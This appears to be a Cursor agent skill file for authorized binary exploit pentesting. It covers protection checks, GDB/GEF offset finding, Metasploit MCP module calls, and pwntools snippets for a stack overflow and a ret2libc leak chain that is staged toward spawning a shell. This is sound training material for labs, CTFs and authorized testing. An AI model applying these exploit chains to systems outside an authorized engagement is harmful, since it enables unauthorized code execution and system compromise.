metasploit-cursor-harness: Skill for Cursor

Binary Exploit Pentest

Prerequisites

• Engagement ROE must explicitly authorize binary exploit development.
• CTF/lab binaries: controlled environments only.
• Prefer msf_module_check when public MSF module exists.

Workflow

Task Progress:
- [ ] Identify binary protections (RELRO, Canary, NX, PIE, ASLR)
- [ ] Select methodology (stack, heap, format string, ROP)
- [ ] Develop PoC in isolated lab; map to CVE/module if production target
- [ ] Hand off to msf-exploit-chain if public MSF module exists

Protection assessment

MSF: No direct module; use CLI.

CLI fallback:

checksec --file=./binary
file ./binary
readelf -h ./binary
ldd ./binary

Protection	Meaning	Bypass
NX	Stack/heap not executable	ROP, ret2libc
Canary	Stack cookie	Leak via format string
PIE	ASLR for binary base	Leak address
RELRO Full	GOT read-only	Avoid GOT overwrite
ASLR (system)	Libc/stack random	Leak libc address

GDB + GEF workflow

MSF: No direct module; use CLI.

CLI fallback:

gdb ./binary
gef ./binary

break *main+42
run $(python3 -c 'print("A"*100)')
pattern create 200
pattern offset 0x41414141
vmmap
checksec

Buffer overflow methodology

Basic stack overflow (no protections)

MSF MCP (preferred):

msf_search_modules(query="<service> buffer overflow")
msf_module_check(
  module_name="exploit/...",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "RPORT": 9999}
)

CLI fallback:

from pwn import *
elf = ELF('./binary')
offset = 72
win = elf.symbols['win']
payload = b'A' * offset + p64(win)

ret2libc (NX enabled, no PIE)

MSF: No direct module; use CLI.

CLI fallback:

from pwn import *
elf = ELF('./binary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)
offset = 72
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.symbols['main'])
payload = flat({offset: rop.chain()})
# Stage 2 after leak: system('/bin/sh')